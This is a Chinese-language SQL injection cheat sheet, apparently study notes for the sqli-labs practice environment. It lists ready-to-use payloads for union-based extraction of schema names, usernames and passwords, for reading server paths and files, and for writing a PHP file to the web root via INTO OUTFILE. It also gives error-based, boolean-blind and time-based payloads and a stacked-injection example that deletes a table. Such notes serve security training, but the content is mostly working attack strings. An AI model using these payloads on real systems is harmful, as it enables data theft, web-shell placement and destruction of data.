1.联合查询下的数据获取语句
获取数据库名称的语句
http://127.0.0.1/sqli/less-1/
?id=-1'union select 1,2,(database())--+
http://127.0.0.1/sqli/less-1/
?id=-1'union select 1,2,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)--+
获取数据库中表的名称
http://127.0.0.1/sqli/less-1/
?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
获取数据库中字段名称的语句
http://127.0.0.1/sqli/less-1/
?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),3--+
查询数据库中列的信息
http://127.0.0.1/sqli/less-1/?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 0,1),3--+
http://127.0.0.1/sqli/less-1/?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3--+
获取数据库路径
http://10.1.2.85/sqli/Less-1/?id=-1' union select 1,@@datadir,3--+
http://10.1.2.85/sqli/Less-1/?id=-1' union select 1,@@basedir,3--+
写入文件
http://10.1.2.85/sqli/Less-1/?id=-1' union select 1,2,'<?php phpinfo();?>' into outfile 'C://phpStudy/PHPTutorial/WWW/into.php'--+ (路径为反斜杠)
读取文件
http://10.1.2.85/sqli/Less-1/?id=-1' union select 1,2,load_file('C://2.txt')--+
2.报错型注入 获取数据
floor()函数报错 注:输出字符长度限制为64个字符
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
updatexml()函数报错 注:输出字符有长度限制,最长32位
and updatexml(1,concat(0x404040,(payload),0x4040),123)--+and updatexml(1,concat(0x404040,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x4040),123)--+
ExtractValue()报错注入 注:输出字符有长度限制,最长32位
and extractvalue(1, concat(0x7e,@@version,0x7e))
3.布尔型注入语句
and length(database())=1and substr(database(),1,1)=‘t’ --+and substr(database(),2,1)=‘q’ --+and ord(substr(database(),1,1))=115and ord(mid((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1) ,1,1))=101 --+ limit(0,1)第一个表名
and ascii(substr(database(),1,1))=1--+
4.堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。在结束一个sql语句后继续构造下一条语句,一起执行, 因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间区别就在于 union 或者union all执行的语句类型是有限的,可以用来执行的是查询语句,而堆叠注入可以执行的是任意的语句。 例如以下这个例子。用户输入:1; DELETE FROM products;服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products;当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
5.延时注入
and if(length(database())=8,sleep(5),1) --+